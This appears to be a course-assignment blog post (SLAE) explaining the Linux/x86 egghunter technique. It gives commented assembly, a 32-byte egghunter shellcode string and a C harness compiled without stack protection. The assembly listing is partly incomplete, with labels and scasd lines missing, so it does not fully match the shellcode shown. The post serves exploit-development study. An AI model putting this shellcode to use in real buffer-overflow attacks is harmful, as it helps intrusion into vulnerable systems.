Linux/x86 EggHunter shellcode (SLAE assignment 3)

Hi All! Today we will look at how to solve third assignment, which is  really interesting topic i.e Egghunter shellcode.

Objective :

  1. Study about Egg hunter shellcode.
  2. Create a working demo of Egg hunter shellcode.
  3. Should be configurable for different payloads.

Scenario : Suppose we find  buffer overflow vulnerability on an application and it so happens, we can control the Instruction pointer but we do not have enough reliable contigious space in available buffer to push our shellcode due to limited space . In such a scenario, Where do we push our shellcode and  get it working?

Solution :

Thats when an awesome concept called “EggHunter shellcode.” kicks in.

Egg hunter shellcode is a multi stage shellcode in which, its only task is to search the memory for actual second shellcode (exploit code) , jump to it and finally pass the control to the found second shellcode in the memory.

It reliably search and scan the complete memory for occurrence of a unique “tag” which is part of second stage shellcode.

Many thanks to this awesome research paper by skape on Egghunter :

In this paper, scape explains three methods of implementing an egg hunter . first two involves using access sys call . and the third one involves sigaction syscall.

While an egghunter crawls the memory for known tag it may find one of these issues,

  1. Since we define this tag as part of initialized data section of our exploit program and also since Egghunter shellcode itself contains this tag , Egghunter may recognize its own tag ( since we give the tag for comparision in egg hunter pgm.) and may jump to wrong code.
  2. There may be a chance , when we allocate memory for exploit shellcode dynamically using malloc/calloc ( which gets stored on heap), there are un mapped segments between different mapped memory segments , this results in program termination .(SIGSEGV).

In order to solve first issue, we can make use of repeating tag twice in our final exploit code.

So our second stage shellcode is of format :


In Order to solve the second issue, we can use any one of the methods provided by skape, using first and second method which involves access syscall , which returns EFAULT on finding such unmapped memory regions , instead of terminating the program.

Third method involves using sigaction systemcall.  This method is slightly more efficient than the previous methods, as in this , we can validate multiple address at the same time compared to previous methods.  But this method is not robust and may fail on certain circumstances.

In this post we will make use of access(2) revisited method as it seems better than  using sigaction with robustness in mind.

So lets  look at access system call from man page:

 int access(const char *pathname, int mode);

From man page, access is used to check for user’s permission to check the destination file pathname. and mode specifies accessibility check to be performed. So for our scenario , we push the address to be validated starting with in a single page ( 4096 bytes of memory) lowest unit to test , if it returns EFAULT , we increment the page till we reach valid address space. Once we reach valid space , we iterate the page for searching occurance [tag][tag] . If we find this occurrence we jump to shell code directly which succeeds the [tag][tag] occurrence. If we do not find the tag occurrence in an entire page address , we increment to next page.  So lets see how its implemented.

Lets first check the syscall number for access.

~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33

here is the complete assembly code for egg hunter with self comments:

global _start
section .text
    ; clear out ebx
    xor ebx,ebx 

	; move 4096-1
        or bx, 0xfff

	;increment to next address
        inc ebx
        ; syscall for access(2)    
        push +0x21  
        pop eax

	;call interrupt    
        int 0x80
	; check for EFAULT in return
        cmp al, 0xf2

	; if efault then move to next page
        je page_increment 

	; if not we move address stored in ebx to edi
	mov edi,ebx

        ; and we move our egg tag to be checked to eax
        mov eax, 0x50905090

        ; scasd check eax==edi? if yes auto increment edi  

        ;if not move to next byte in same page
        jnz byte_increment

        ;check for second occurance of tag, if yes auto increment edi

        ; if not move to 
        jnz byte_increment

        ; finally jump to final shellcode following consecutive tags 
        jmp edi

We make use of scasd instruction for comparision , as it compares content on eax to edi , if successfull it auto increments edi , we move address in memory to edi and compare with eax which contains our egg tag. We do this twice and finally jump to edi, As it contains our final shellcode.

So lets compile and fetch our shellcode :

./ egghunter

objdump -d ./egghunter |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

Egg hunter shellcode : 


Lets put this in our egghunter template c program :


#define EGG "\x90\x50\x90\x50"

unsigned char egghunter[] ="\x31\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xf1\x89\xdf\xb8\x90\x50\x90\x50\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

// simple spawn a shell shellcode payload
unsigned char code[] = \

	printf("Egghunter Length:  %d\n", strlen(egghunter));

	//calling egghunter 
	int (*ret)() = (int(*)())egghunter;





I have used a simple shell spawn payload to verify this assignment . lets finally compile and execute this program  :

slae:~$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

slae:~$ ./shellcode
Egghunter Length: 32

It works! W00tW00t 😀

link to github repo for the code :

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.



SLAE student ID :  SLAE – 1367